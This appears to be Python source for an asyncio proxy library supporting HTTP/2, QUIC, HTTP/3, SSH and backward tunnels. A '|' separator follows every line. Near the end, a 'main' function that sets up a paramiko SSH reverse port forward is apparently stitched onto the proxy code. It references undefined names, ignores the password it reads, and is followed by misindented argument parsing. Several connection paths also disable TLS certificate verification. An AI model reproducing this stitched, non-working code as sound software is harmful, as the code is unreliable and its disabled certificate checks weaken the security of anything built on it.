reader, writer = await asyncio.wait_for(wait, timeout=timeout)
|
|
except Exception as ex:
|
|
raise
|
|
return reader, writer
|
|
async def prepare_connection(self, reader_remote, writer_remote, host, port):
|
|
return reader_remote, writer_remote
|
|
async def tcp_connect(self, host, port, local_addr=None, lbind=None):
|
|
reader, writer = await self.open_connection(host, port, local_addr, lbind)
|
|
try:
|
|
reader, writer = await self.prepare_connection(reader, writer, host, port)
|
|
except Exception:
|
|
writer.close()
|
|
raise
|
|
return reader, writer
|
|
async def udp_sendto(self, host, port, data, answer_cb, local_addr=None):
|
|
if local_addr is None:
|
|
local_addr = random.randrange(2**32)
|
|
data = self.udp_prepare_connection(host, port, data)
|
|
await self.udp_open_connection(host, port, data, local_addr, answer_cb)
|
|
DIRECT = ProxyDirect()
|
|
|
|
class ProxySimple(ProxyDirect):
|
|
def __init__(self, jump, protos, cipher, users, rule, bind,
|
|
host_name, port, unix, lbind, sslclient, sslserver):
|
|
super().__init__(lbind)
|
|
self.protos = protos
|
|
self.cipher = cipher
|
|
self.users = users
|
|
self.rule = compile_rule(rule) if rule else None
|
|
self.bind = bind
|
|
self.host_name = host_name
|
|
self.port = port
|
|
self.unix = unix
|
|
self.sslclient = sslclient
|
|
self.sslserver = sslserver
|
|
self.jump = jump
|
|
def logtext(self, host, port):
|
|
return f' -> {self.rproto.name+("+ssl" if self.sslclient else "")} {self.bind}' + self.jump.logtext(host, port)
|
|
def match_rule(self, host, port):
|
|
return (self.rule is None) or self.rule(host) or self.rule(str(port))
|
|
@property
|
|
def rproto(self):
|
|
return self.protos[0]
|
|
@property
|
|
def auth(self):
|
|
return self.users[0] if self.users else b''
|
|
def udp_packet_unpack(self, data):
|
|
data = self.cipher.datagram.decrypt(data) if self.cipher else data
|
|
return self.jump.udp_packet_unpack(self.rproto.udp_unpack(data))
|
|
def destination(self, host, port):
|
|
return self.host_name, self.port
|
|
def udp_prepare_connection(self, host, port, data):
|
|
data = self.jump.udp_prepare_connection(host, port, data)
|
|
whost, wport = self.jump.destination(host, port)
|
|
data = self.rproto.udp_connect(rauth=self.auth, host_name=whost, port=wport, data=data)
|
|
if self.cipher:
|
|
data = self.cipher.datagram.encrypt(data)
|
|
return data
|
|
def udp_start_server(self, args):
|
|
class Protocol(asyncio.DatagramProtocol):
|
|
def connection_made(prot, transport):
|
|
prot.transport = transport
|
|
def datagram_received(prot, data, addr):
|
|
asyncio.ensure_future(datagram_handler(prot.transport, data, addr, **vars(self), **args))
|
|
return asyncio.get_event_loop().create_datagram_endpoint(Protocol, local_addr=(self.host_name, self.port))
|
|
def wait_open_connection(self, host, port, local_addr, family):
|
|
if self.unix:
|
|
return asyncio.open_unix_connection(path=self.bind)
|
|
else:
|
|
return asyncio.open_connection(host=self.host_name, port=self.port, local_addr=local_addr, family=family)
|
|
async def prepare_connection(self, reader_remote, writer_remote, host, port):
|
|
reader_remote, writer_remote = proto.sslwrap(reader_remote, writer_remote, self.sslclient, False, self.host_name)
|
|
_, writer_cipher_r = await prepare_ciphers(self.cipher, reader_remote, writer_remote, self.bind)
|
|
whost, wport = self.jump.destination(host, port)
|
|
await self.rproto.connect(reader_remote=reader_remote, writer_remote=writer_remote, rauth=self.auth, host_name=whost, port=wport, writer_cipher_r=writer_cipher_r, myhost=self.host_name, sock=writer_remote.get_extra_info('socket'))
|
|
return await self.jump.prepare_connection(reader_remote, writer_remote, host, port)
|
|
def start_server(self, args, stream_handler=stream_handler):
|
|
handler = functools.partial(stream_handler, **vars(self), **args)
|
|
if self.unix:
|
|
return asyncio.start_unix_server(handler, path=self.bind)
|
|
else:
|
|
return asyncio.start_server(handler, host=self.host_name, port=self.port, reuse_port=args.get('ruport'))
|
|
|
|
class ProxyH2(ProxySimple):
|
|
def __init__(self, sslserver, sslclient, **kw):
|
|
super().__init__(sslserver=None, sslclient=None, **kw)
|
|
self.handshake = None
|
|
self.h2sslserver = sslserver
|
|
self.h2sslclient = sslclient
|
|
async def handler(self, reader, writer, client_side=True, stream_handler=None, **kw):
|
|
import h2.connection, h2.config, h2.events
|
|
reader, writer = proto.sslwrap(reader, writer, self.h2sslclient if client_side else self.h2sslserver, not client_side, None)
|
|
config = h2.config.H2Configuration(client_side=client_side)
|
|
conn = h2.connection.H2Connection(config=config)
|
|
streams = {}
|
|
conn.initiate_connection()
|
|
writer.write(conn.data_to_send())
|
|
while not reader.at_eof() and not writer.is_closing():
|
|
try:
|
|
data = await reader.read(65636)
|
|
if not data:
|
|
break
|
|
events = conn.receive_data(data)
|
|
except Exception:
|
|
pass
|
|
writer.write(conn.data_to_send())
|
|
for event in events:
|
|
if isinstance(event, h2.events.RequestReceived) and not client_side:
|
|
if event.stream_id not in streams:
|
|
stream_reader, stream_writer = self.get_stream(conn, writer, event.stream_id)
|
|
streams[event.stream_id] = (stream_reader, stream_writer)
|
|
asyncio.ensure_future(stream_handler(stream_reader, stream_writer))
|
|
else:
|
|
stream_reader, stream_writer = streams[event.stream_id]
|
|
stream_writer.headers.set_result(event.headers)
|
|
elif isinstance(event, h2.events.SettingsAcknowledged) and client_side:
|
|
self.handshake.set_result((conn, streams, writer))
|
|
elif isinstance(event, h2.events.DataReceived):
|
|
stream_reader, stream_writer = streams[event.stream_id]
|
|
stream_reader.feed_data(event.data)
|
|
conn.acknowledge_received_data(len(event.data), event.stream_id)
|
|
writer.write(conn.data_to_send())
|
|
elif isinstance(event, h2.events.StreamEnded) or isinstance(event, h2.events.StreamReset):
|
|
stream_reader, stream_writer = streams[event.stream_id]
|
|
stream_reader.feed_eof()
|
|
if not stream_writer.closed:
|
|
stream_writer.close()
|
|
elif isinstance(event, h2.events.ConnectionTerminated):
|
|
break
|
|
elif isinstance(event, h2.events.WindowUpdated):
|
|
if event.stream_id in streams:
|
|
stream_reader, stream_writer = streams[event.stream_id]
|
|
stream_writer.window_update()
|
|
writer.write(conn.data_to_send())
|
|
writer.close()
|
|
def get_stream(self, conn, writer, stream_id):
|
|
reader = asyncio.StreamReader()
|
|
write_buffer = bytearray()
|
|
write_wait = asyncio.Event()
|
|
write_full = asyncio.Event()
|
|
class StreamWriter():
|
|
def __init__(self):
|
|
self.closed = False
|
|
self.headers = asyncio.get_event_loop().create_future()
|
|
def get_extra_info(self, key):
|
|
return writer.get_extra_info(key)
|
|
def write(self, data):
|
|
write_buffer.extend(data)
|
|
write_wait.set()
|
|
def drain(self):
|
|
writer.write(conn.data_to_send())
|
|
return writer.drain()
|
|
def is_closing(self):
|
|
return self.closed
|
|
def close(self):
|
|
self.closed = True
|
|
write_wait.set()
|
|
def window_update(self):
|
|
write_full.set()
|
|
def send_headers(self, headers):
|
|
conn.send_headers(stream_id, headers)
|
|
writer.write(conn.data_to_send())
|
|
stream_writer = StreamWriter()
|
|
async def write_job():
|
|
while not stream_writer.closed:
|
|
while len(write_buffer) > 0:
|
|
while conn.local_flow_control_window(stream_id) <= 0:
|
|
write_full.clear()
|
|
await write_full.wait()
|
|
if stream_writer.closed:
|
|
break
|
|
chunk_size = min(conn.local_flow_control_window(stream_id), len(write_buffer), conn.max_outbound_frame_size)
|
|
conn.send_data(stream_id, write_buffer[:chunk_size])
|
|
writer.write(conn.data_to_send())
|
|
del write_buffer[:chunk_size]
|
|
if not stream_writer.closed:
|
|
write_wait.clear()
|
|
await write_wait.wait()
|
|
conn.send_data(stream_id, b'', end_stream=True)
|
|
writer.write(conn.data_to_send())
|
|
asyncio.ensure_future(write_job())
|
|
return reader, stream_writer
|
|
async def wait_h2_connection(self, local_addr, family):
|
|
if self.handshake is not None:
|
|
if not self.handshake.done():
|
|
await self.handshake
|
|
else:
|
|
self.handshake = asyncio.get_event_loop().create_future()
|
|
reader, writer = await super().wait_open_connection(None, None, local_addr, family)
|
|
asyncio.ensure_future(self.handler(reader, writer))
|
|
await self.handshake
|
|
return self.handshake.result()
|
|
async def wait_open_connection(self, host, port, local_addr, family):
|
|
conn, streams, writer = await self.wait_h2_connection(local_addr, family)
|
|
stream_id = conn.get_next_available_stream_id()
|
|
conn._begin_new_stream(stream_id, stream_id%2)
|
|
stream_reader, stream_writer = self.get_stream(conn, writer, stream_id)
|
|
streams[stream_id] = (stream_reader, stream_writer)
|
|
return stream_reader, stream_writer
|
|
def start_server(self, args, stream_handler=stream_handler):
|
|
handler = functools.partial(stream_handler, **vars(self), **args)
|
|
return super().start_server(args, functools.partial(self.handler, client_side=False, stream_handler=handler))
|
|
|
|
class ProxyQUIC(ProxySimple):
|
|
def __init__(self, quicserver, quicclient, **kw):
|
|
super().__init__(**kw)
|
|
self.quicserver = quicserver
|
|
self.quicclient = quicclient
|
|
self.handshake = None
|
|
def patch_writer(self, writer):
|
|
async def drain():
|
|
writer._transport.protocol.transmit()
|
|
#print('stream_id', writer.get_extra_info("stream_id"))
|
|
remote_addr = writer._transport.protocol._quic._network_paths[0].addr
|
|
writer.get_extra_info = dict(peername=remote_addr, sockname=remote_addr).get
|
|
writer.drain = drain
|
|
closed = False
|
|
writer.is_closing = lambda: closed
|
|
def close():
|
|
nonlocal closed
|
|
closed = True
|
|
try:
|
|
writer.write_eof()
|
|
except Exception:
|
|
pass
|
|
writer.close = close
|
|
async def wait_quic_connection(self):
|
|
if self.handshake is not None:
|
|
if not self.handshake.done():
|
|
await self.handshake
|
|
else:
|
|
self.handshake = asyncio.get_event_loop().create_future()
|
|
import aioquic.asyncio, aioquic.quic.events
|
|
class Protocol(aioquic.asyncio.QuicConnectionProtocol):
|
|
def quic_event_received(s, event):
|
|
if isinstance(event, aioquic.quic.events.HandshakeCompleted):
|
|
self.handshake.set_result(s)
|
|
elif isinstance(event, aioquic.quic.events.ConnectionTerminated):
|
|
self.handshake = None
|
|
self.quic_egress_acm = None
|
|
elif isinstance(event, aioquic.quic.events.StreamDataReceived):
|
|
if event.stream_id in self.udpmap:
|
|
self.udpmap[event.stream_id](self.udp_packet_unpack(event.data))
|
|
return
|
|
super().quic_event_received(event)
|
|
self.quic_egress_acm = aioquic.asyncio.connect(self.host_name, self.port, create_protocol=Protocol, configuration=self.quicclient)
|
|
conn = await self.quic_egress_acm.__aenter__()
|
|
await self.handshake
|
|
async def udp_open_connection(self, host, port, data, addr, reply):
|
|
await self.wait_quic_connection()
|
|
conn = self.handshake.result()
|
|
if addr in self.udpmap:
|
|
stream_id = self.udpmap[addr]
|
|
else:
|
|
stream_id = conn._quic.get_next_available_stream_id(False)
|
|
self.udpmap[addr] = stream_id
|
|
self.udpmap[stream_id] = reply
|
|
conn._quic._get_or_create_stream_for_send(stream_id)
|
|
conn._quic.send_stream_data(stream_id, data, False)
|
|
conn.transmit()
|
|
async def wait_open_connection(self, *args):
|
|
await self.wait_quic_connection()
|
|
conn = self.handshake.result()
|
|
stream_id = conn._quic.get_next_available_stream_id(False)
|
|
conn._quic._get_or_create_stream_for_send(stream_id)
|
|
reader, writer = conn._create_stream(stream_id)
|
|
self.patch_writer(writer)
|
|
return reader, writer
|
|
async def udp_start_server(self, args):
|
|
import aioquic.asyncio, aioquic.quic.events
|
|
class Protocol(aioquic.asyncio.QuicConnectionProtocol):
|
|
def quic_event_received(s, event):
|
|
if isinstance(event, aioquic.quic.events.StreamDataReceived):
|
|
stream_id = event.stream_id
|
|
addr = ('quic '+self.bind, stream_id)
|
|
event.sendto = lambda data, addr: (s._quic.send_stream_data(stream_id, data, False), s.transmit())
|
|
event.get_extra_info = {}.get
|
|
asyncio.ensure_future(datagram_handler(event, event.data, addr, **vars(self), **args))
|
|
return
|
|
super().quic_event_received(event)
|
|
return await aioquic.asyncio.serve(self.host_name, self.port, configuration=self.quicserver, create_protocol=Protocol), None
|
|
def start_server(self, args, stream_handler=stream_handler):
|
|
import aioquic.asyncio
|
|
def handler(reader, writer):
|
|
self.patch_writer(writer)
|
|
asyncio.ensure_future(stream_handler(reader, writer, **vars(self), **args))
|
|
return aioquic.asyncio.serve(self.host_name, self.port, configuration=self.quicserver, stream_handler=handler)
|
|
|
|
class ProxyH3(ProxyQUIC):
|
|
def get_stream(self, conn, stream_id):
|
|
remote_addr = conn._quic._network_paths[0].addr
|
|
reader = asyncio.StreamReader()
|
|
class StreamWriter():
|
|
def __init__(self):
|
|
self.closed = False
|
|
self.headers = asyncio.get_event_loop().create_future()
|
|
def get_extra_info(self, key):
|
|
return dict(peername=remote_addr, sockname=remote_addr).get(key)
|
|
def write(self, data):
|
|
conn.http.send_data(stream_id, data, False)
|
|
conn.transmit()
|
|
async def drain(self):
|
|
conn.transmit()
|
|
def is_closing(self):
|
|
return self.closed
|
|
def close(self):
|
|
if not self.closed:
|
|
conn.http.send_data(stream_id, b'', True)
|
|
conn.transmit()
|
|
conn.close_stream(stream_id)
|
|
self.closed = True
|
|
def send_headers(self, headers):
|
|
conn.http.send_headers(stream_id, [(i.encode(), j.encode()) for i, j in headers])
|
|
conn.transmit()
|
|
return reader, StreamWriter()
|
|
def get_protocol(self, server_side=False, handler=None):
|
|
import aioquic.asyncio, aioquic.quic.events, aioquic.h3.connection, aioquic.h3.events
|
|
class Protocol(aioquic.asyncio.QuicConnectionProtocol):
|
|
def __init__(s, *args, **kw):
|
|
super().__init__(*args, **kw)
|
|
s.http = aioquic.h3.connection.H3Connection(s._quic)
|
|
s.streams = {}
|
|
def quic_event_received(s, event):
|
|
if not server_side:
|
|
if isinstance(event, aioquic.quic.events.HandshakeCompleted):
|
|
self.handshake.set_result(s)
|
|
elif isinstance(event, aioquic.quic.events.ConnectionTerminated):
|
|
self.handshake = None
|
|
self.quic_egress_acm = None
|
|
if s.http is not None:
|
|
for http_event in s.http.handle_event(event):
|
|
s.http_event_received(http_event)
|
|
def http_event_received(s, event):
|
|
if isinstance(event, aioquic.h3.events.HeadersReceived):
|
|
if event.stream_id not in s.streams and server_side:
|
|
reader, writer = s.create_stream(event.stream_id)
|
|
writer.headers.set_result(event.headers)
|
|
asyncio.ensure_future(handler(reader, writer))
|
|
elif isinstance(event, aioquic.h3.events.DataReceived) and event.stream_id in s.streams:
|
|
reader, writer = s.streams[event.stream_id]
|
|
if event.data:
|
|
reader.feed_data(event.data)
|
|
if event.stream_ended:
|
|
reader.feed_eof()
|
|
s.close_stream(event.stream_id)
|
|
def create_stream(s, stream_id=None):
|
|
if stream_id is None:
|
|
stream_id = s._quic.get_next_available_stream_id(False)
|
|
s._quic._get_or_create_stream_for_send(stream_id)
|
|
reader, writer = self.get_stream(s, stream_id)
|
|
s.streams[stream_id] = (reader, writer)
|
|
return reader, writer
|
|
def close_stream(s, stream_id):
|
|
if stream_id in s.streams:
|
|
reader, writer = s.streams[stream_id]
|
|
if reader.at_eof() and writer.is_closing():
|
|
s.streams.pop(stream_id)
|
|
return Protocol
|
|
async def wait_h3_connection(self):
|
|
if self.handshake is not None:
|
|
if not self.handshake.done():
|
|
await self.handshake
|
|
else:
|
|
import aioquic.asyncio
|
|
self.handshake = asyncio.get_event_loop().create_future()
|
|
self.quic_egress_acm = aioquic.asyncio.connect(self.host_name, self.port, create_protocol=self.get_protocol(), configuration=self.quicclient)
|
|
conn = await self.quic_egress_acm.__aenter__()
|
|
await self.handshake
|
|
async def wait_open_connection(self, *args):
|
|
await self.wait_h3_connection()
|
|
return self.handshake.result().create_stream()
|
|
def start_server(self, args, stream_handler=stream_handler):
|
|
import aioquic.asyncio
|
|
return aioquic.asyncio.serve(self.host_name, self.port, configuration=self.quicserver, create_protocol=self.get_protocol(True, functools.partial(stream_handler, **vars(self), **args)))
|
|
|
|
class ProxySSH(ProxySimple):
|
|
def __init__(self, **kw):
|
|
super().__init__(**kw)
|
|
self.sshconn = None
|
|
def logtext(self, host, port):
|
|
return f' -> sshtunnel {self.bind}' + self.jump.logtext(host, port)
|
|
def patch_stream(self, ssh_reader, writer, host, port):
|
|
reader = asyncio.StreamReader()
|
|
async def channel():
|
|
while not ssh_reader.at_eof() and not writer.is_closing():
|
|
buf = await ssh_reader.read(65536)
|
|
if not buf:
|
|
break
|
|
reader.feed_data(buf)
|
|
reader.feed_eof()
|
|
asyncio.ensure_future(channel())
|
|
remote_addr = ('ssh:'+str(host), port)
|
|
writer.get_extra_info = dict(peername=remote_addr, sockname=remote_addr).get
|
|
return reader, writer
|
|
async def wait_ssh_connection(self, local_addr=None, family=0, tunnel=None):
|
|
if self.sshconn is not None:
|
|
if not self.sshconn.done():
|
|
await self.sshconn
|
|
else:
|
|
self.sshconn = asyncio.get_event_loop().create_future()
|
|
try:
|
|
import asyncssh
|
|
except Exception:
|
|
raise Exception('Missing library: "pip3 install asyncssh"')
|
|
username, password = self.auth.decode().split(':', 1)
|
|
if password.startswith(':'):
|
|
client_keys = [password[1:]]
|
|
password = None
|
|
else:
|
|
client_keys = None
|
|
conn = await asyncssh.connect(host=self.host_name, port=self.port, local_addr=local_addr, family=family, x509_trusted_certs=None, known_hosts=None, username=username, password=password, client_keys=client_keys, keepalive_interval=60, tunnel=tunnel)
|
|
self.sshconn.set_result(conn)
|
|
async def wait_open_connection(self, host, port, local_addr, family, tunnel=None):
|
|
await self.wait_ssh_connection(local_addr, family, tunnel)
|
|
conn = self.sshconn.result()
|
|
if isinstance(self.jump, ProxySSH):
|
|
reader, writer = await self.jump.wait_open_connection(host, port, None, None, conn)
|
|
else:
|
|
host, port = self.jump.destination(host, port)
|
|
if self.jump.unix:
|
|
reader, writer = await conn.open_unix_connection(self.jump.bind)
|
|
else:
|
|
reader, writer = await conn.open_connection(host, port)
|
|
reader, writer = self.patch_stream(reader, writer, host, port)
|
|
return reader, writer
|
|
async def start_server(self, args, stream_handler=stream_handler, tunnel=None):
|
|
if type(self.jump) is ProxyDirect:
|
|
raise Exception('ssh server mode unsupported')
|
|
await self.wait_ssh_connection(tunnel=tunnel)
|
|
conn = self.sshconn.result()
|
|
if isinstance(self.jump, ProxySSH):
|
|
return await self.jump.start_server(args, stream_handler, conn)
|
|
else:
|
|
def handler(host, port):
|
|
def handler_stream(reader, writer):
|
|
reader, writer = self.patch_stream(reader, writer, host, port)
|
|
return stream_handler(reader, writer, **vars(self.jump), **args)
|
|
return handler_stream
|
|
if self.jump.unix:
|
|
return await conn.start_unix_server(handler, self.jump.bind)
|
|
else:
|
|
return await conn.start_server(handler, self.jump.host_name, self.jump.port)
|
|
|
|
class ProxyBackward(ProxySimple):
|
|
def __init__(self, backward, backward_num, **kw):
|
|
super().__init__(**kw)
|
|
self.backward = backward
|
|
self.server = backward
|
|
while type(self.server.jump) != ProxyDirect:
|
|
self.server = self.server.jump
|
|
self.backward_num = backward_num
|
|
self.closed = False
|
|
self.writers = set()
|
|
self.conn = asyncio.Queue()
|
|
async def wait_open_connection(self, *args):
|
|
while True:
|
|
reader, writer = await self.conn.get()
|
|
if not reader.at_eof() and not writer.is_closing():
|
|
return reader, writer
|
|
def close(self):
|
|
self.closed = True
|
|
for writer in self.writers:
|
|
try:
|
|
self.writer.close()
|
|
except Exception:
|
|
pass
|
|
async def start_server(self, args, stream_handler=stream_handler):
|
|
handler = functools.partial(stream_handler, **vars(self.server), **args)
|
|
for _ in range(self.backward_num):
|
|
asyncio.ensure_future(self.start_server_run(handler))
|
|
return self
|
|
async def start_server_run(self, handler):
|
|
errwait = 0
|
|
while not self.closed:
|
|
wait = self.backward.open_connection(self.host_name, self.port, self.lbind, None)
|
|
try:
|
|
reader, writer = await asyncio.wait_for(wait, timeout=SOCKET_TIMEOUT)
|
|
if self.closed:
|
|
writer.close()
|
|
break
|
|
if isinstance(self.server, ProxyQUIC):
|
|
writer.write(b'\x01')
|
|
writer.write(self.server.auth)
|
|
self.writers.add(writer)
|
|
try:
|
|
data = await reader.read_n(1)
|
|
except asyncio.TimeoutError:
|
|
data = None
|
|
if data and data[0] != 0:
|
|
reader.rollback(data)
|
|
asyncio.ensure_future(handler(reader, writer))
|
|
else:
|
|
writer.close()
|
|
errwait = 0
|
|
self.writers.discard(writer)
|
|
writer = None
|
|
except Exception as ex:
|
|
try:
|
|
writer.close()
|
|
except Exception:
|
|
pass
|
|
if not self.closed:
|
|
await asyncio.sleep(errwait)
|
|
errwait = min(errwait*1.3 + 0.1, 30)
|
|
def start_backward_client(self, args):
|
|
async def handler(reader, writer, **kw):
|
|
auth = self.server.auth
|
|
if isinstance(self.server, ProxyQUIC):
|
|
auth = b'\x01'+auth
|
|
if auth:
|
|
try:
|
|
assert auth == (await reader.read_n(len(auth)))
|
|
except Exception:
|
|
return
|
|
await self.conn.put((reader, writer))
|
|
return self.backward.start_server(args, handler)
|
|
|
|
|
|
def compile_rule(filename):
|
|
if filename.startswith("{") and filename.endswith("}"):
|
|
return re.compile(filename[1:-1]).match
|
|
with open(filename) as f:
|
|
return re.compile('(:?'+''.join('|'.join(i.strip() for i in f if i.strip() and not i.startswith('#')))+')$').match
|
|
|
|
def proxies_by_uri(uri_jumps):
|
|
jump = DIRECT
|
|
for uri in reversed(uri_jumps.split('__')):
|
|
jump = proxy_by_uri(uri, jump)
|
|
return jump
|
|
|
|
sslcontexts = []
|
|
|
|
def proxy_by_uri(uri, jump):
|
|
scheme, _, uri = uri.partition('://')
|
|
url = urllib.parse.urlparse('s://'+uri)
|
|
rawprotos = [i.lower() for i in scheme.split('+')]
|
|
err_str, protos = proto.get_protos(rawprotos)
|
|
protonames = [i.name for i in protos]
|
|
if err_str:
|
|
raise argparse.ArgumentTypeError(err_str)
|
|
if 'ssl' in rawprotos or 'secure' in rawprotos:
|
|
import ssl
|
|
sslserver = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
|
|
sslclient = ssl.create_default_context(ssl.Purpose.SERVER_AUTH)
|
|
if 'ssl' in rawprotos:
|
|
sslclient.check_hostname = False
|
|
sslclient.verify_mode = ssl.CERT_NONE
|
|
sslcontexts.append(sslserver)
|
|
sslcontexts.append(sslclient)
|
|
else:
|
|
sslserver = sslclient = None
|
|
if 'quic' in rawprotos or 'h3' in protonames:
|
|
try:
|
|
import ssl, aioquic.quic.configuration
|
|
except Exception:
|
|
raise Exception('Missing library: "pip3 install aioquic"')
|
|
quicserver = aioquic.quic.configuration.QuicConfiguration(is_client=False, max_stream_data=2**60, max_data=2**60, idle_timeout=SOCKET_TIMEOUT)
|
|
quicclient = aioquic.quic.configuration.QuicConfiguration(max_stream_data=2**60, max_data=2**60, idle_timeout=SOCKET_TIMEOUT*5)
|
|
quicclient.verify_mode = ssl.CERT_NONE
|
|
sslcontexts.append(quicserver)
|
|
sslcontexts.append(quicclient)
|
|
if 'h2' in rawprotos:
|
|
try:
|
|
import h2
|
|
except Exception:
|
|
raise Exception('Missing library: "pip3 install h2"')
|
|
urlpath, _, plugins = url.path.partition(',')
|
|
urlpath, _, lbind = urlpath.partition('@')
|
|
plugins = plugins.split(',') if plugins else None
|
|
cipher, _, loc = url.netloc.rpartition('@')
|
|
if cipher:
|
|
from .cipher import get_cipher
|
|
if ':' not in cipher:
|
|
try:
|
|
cipher = base64.b64decode(cipher).decode()
|
|
except Exception:
|
|
pass
|
|
if ':' not in cipher:
|
|
raise argparse.ArgumentTypeError('userinfo must be "cipher:key"')
|
|
err_str, cipher = get_cipher(cipher)
|
|
if err_str:
|
|
raise argparse.ArgumentTypeError(err_str)
|
|
if plugins:
|
|
from .plugin import get_plugin
|
|
for name in plugins:
|
|
if not name: continue
|
|
err_str, plugin = get_plugin(name)
|
|
if err_str:
|
|
raise argparse.ArgumentTypeError(err_str)
|
|
cipher.plugins.append(plugin)
|
|
if loc:
|
|
host_name, port = proto.netloc_split(loc, default_port=22 if 'ssh' in rawprotos else 8080)
|
|
else:
|
|
host_name = port = None
|
|
if url.fragment.startswith('#'):
|
|
with open(url.fragment[1:]) as f:
|
|
auth = f.read().rstrip().encode()
|
|
else:
|
|
auth = url.fragment.encode()
|
|
users = [i.rstrip() for i in auth.split(b'\n')] if auth else None
|
|
if 'direct' in protonames:
|
|
return ProxyDirect(lbind=lbind)
|
|
else:
|
|
params = dict(jump=jump, protos=protos, cipher=cipher, users=users, rule=url.query, bind=loc or urlpath,
|
|
host_name=host_name, port=port, unix=not loc, lbind=lbind, sslclient=sslclient, sslserver=sslserver)
|
|
if 'quic' in rawprotos:
|
|
proxy = ProxyQUIC(quicserver, quicclient, **params)
|
|
elif 'h3' in protonames:
|
|
proxy = ProxyH3(quicserver, quicclient, **params)
|
|
elif 'h2' in protonames:
|
|
proxy = ProxyH2(**params)
|
|
elif 'ssh' in protonames:
|
|
proxy = ProxySSH(**params)
|
|
else:
|
|
proxy = ProxySimple(**params)
|
|
if 'in' in rawprotos:
|
|
proxy = ProxyBackward(proxy, rawprotos.count('in'), **params)
|
|
return proxy
|
|
|
|
async def test_url(url, rserver):
|
|
url = urllib.parse.urlparse(url)
|
|
assert url.scheme in ('http', 'https'), f'Unknown scheme {url.scheme}'
|
|
host_name, port = proto.netloc_split(url.netloc, default_port = 80 if url.scheme=='http' else 443)
|
|
initbuf = f'GET {url.path or "/"} HTTP/1.1\r\nHost: {host_name}\r\nUser-Agent: pproxy-{__version__}\r\nAccept: */*\r\nConnection: close\r\n\r\n'.encode()
|
|
for roption in rserver:
|
|
print(f'============ {roption.bind} ============')
|
|
try:
|
|
reader, writer = await roption.open_connection(host_name, port, None, None)
|
|
except asyncio.TimeoutError:
|
|
raise Exception(f'Connection timeout {rserver}')
|
|
try:
|
|
reader, writer = await roption.prepare_connection(reader, writer, host_name, port)
|
|
except Exception:
|
|
writer.close()
|
|
raise Exception('Unknown remote protocol')
|
|
if url.scheme == 'https':
|
|
import ssl
|
|
sslclient = ssl.create_default_context(ssl.Purpose.SERVER_AUTH)
|
|
sslclient.check_hostname = False
|
|
sslclient.verify_mode = ssl.CERT_NONE
|
|
reader, writer = proto.sslwrap(reader, writer, sslclient, False, host_name)
|
|
writer.write(initbuf)
|
|
headers = await reader.read_until(b'\r\n\r\n')
|
|
print(headers.decode()[:-4])
|
|
print(f'--------------------------------')
|
|
body = bytearray()
|
|
while not reader.at_eof():
|
|
s = await reader.read(65536)
|
|
if not s:
|
|
break
|
|
body.extend(s)
|
|
print(body.decode('utf8', 'ignore'))
|
|
print(f'============ success ============')
|
|
|
|
def print_server_started(option, server, print_fn):
|
|
for s in server.sockets:
|
|
# https://github.com/MagicStack/uvloop/blob/master/uvloop/pseudosock.pyx
|
|
laddr = s.getsockname() # tuple size varies with protocol family
|
|
h = laddr[0]
|
|
p = laddr[1]
|
|
f = str(s.family)
|
|
ipversion = "ipv4" if f == "AddressFamily.AF_INET" else ("ipv6" if f == "AddressFamily.AF_INET6" else "ipv?") # TODO better
|
|
bind = ipversion+' '+h+':'+str(p)
|
|
print_fn(option, bind)
|
|
|
|
def main(args = None):
|
|
|
|
options, server, remote = parse_options()
|
|
password = None
|
|
if options.readpass:
|
|
password = getpass.getpass("Enter SSH password: ")
|
|
client = paramiko.SSHClient()
|
|
client.load_system_host_keys()
|
|
client.set_missing_host_key_policy(paramiko.WarningPolicy())
|
|
|
|
print("Connecting to ssh host %s:%d ..." % (server[0], server[1]))
|
|
|
|
try:
|
|
client.connect(
|
|
server[0],
|
|
server[1],
|
|
username=SSH_username,
|
|
key_filename=options.keyfile,
|
|
look_for_keys=options.look_for_keys,
|
|
password=SSH_password,
|
|
)
|
|
|
|
except Exception as e:
|
|
print("[!] Failed to connect to %s:%d: %r" % (server[0], server[1], e))
|
|
sys.exit(1)
|
|
|
|
|
|
|
|
try:
|
|
print("[*] Starting new thread for SSH remote port forward")
|
|
print("[*] Now forwarding remote port %d to %s:%d ..." % (int(DEFAULT_REMOTE_LISTENING_PORT), remote[0], remote[1]))
|
|
_thread.start_new_thread(reverse_forward_tunnel,(int(DEFAULT_REMOTE_LISTENING_PORT), remote[0], remote[1], client.get_transport(),))
|
|
print("[*] Starting proxy server on 127.0.0.1 port %s" % DEFAULT_FW_PORT)
|
|
|
|
except KeyboardInterrupt:
|
|
|
|
print("C-c: Port forwarding stopped.")
|
|
|
|
sys.exit(0)
|
|
|
|
|
|
|
|
parser = argparse.ArgumentParser(description=__description__+'\nSupported protocols: http,socks4,socks5,shadowsocks,shadowsocksr,redirect,pf,tunnel', epilog=f'Online help: <{__url__}>')
|
|
parser.add_argument('-l', dest='listen', default=[], action='append', type=proxies_by_uri, help='tcp server uri (default: http+socks4+socks5://:8080/)')
|
|
parser.add_argument('-r', dest='rserver', default=[], action='append', type=proxies_by_uri, help='tcp remote server uri (default: direct)')
|
|
parser.add_argument('-ul', dest='ulisten', default=[], action='append', type=proxies_by_uri, help='udp server setting uri (default: none)')
|
|
parser.add_argument('-ur', dest='urserver', default=[], action='append', type=proxies_by_uri, help='udp remote server uri (default: direct)')
|
|
parser.add_argument('-b', dest='block', type=compile_rule, help='block regex rules')
|
|
parser.add_argument('-a', dest='alived', default=0, type=int, help='interval to check remote alive (default: no check)')
|
|
parser.add_argument('-s', dest='salgorithm', default='fa', choices=('fa', 'rr', 'rc', 'lc'), help='scheduling algorithm (default: first_available)')
|
|
parser.add_argument('-d', dest='debug', action='count', help='turn on debug to see tracebacks (default: no debug)')
|
|
parser.add_argument('-v', dest='v', action='count', help='print verbose output')
|
|
parser.add_argument('--ssl', dest='sslfile', help='certfile[,keyfile] if server listen in ssl mode')
|
|
parser.add_argument('--pac', help='http PAC path')
|
|
parser.add_argument('--get', dest='gets', default=[], action='append', help='http custom {path,file}')
|
|
parser.add_argument('--auth', dest='authtime', type=int, default=86400*30, help='re-auth time interval for same ip (default: 86400*30)')
|
|
parser.add_argument('--sys', action='store_true', help='change system proxy setting (mac, windows)')
|
|
parser.add_argument('--reuse', dest='ruport', action='store_true', help='set SO_REUSEPORT (Linux only)')
|
|
parser.add_argument('--daemon', dest='daemon', action='store_true', help='run as a daemon (Linux only)')
|
|
parser.add_argument('--test', help='test this url for all remote proxies and exit')
|
|
parser.add_argument('--version', action='version', version=f'%(prog)s {__version__}')
|
|
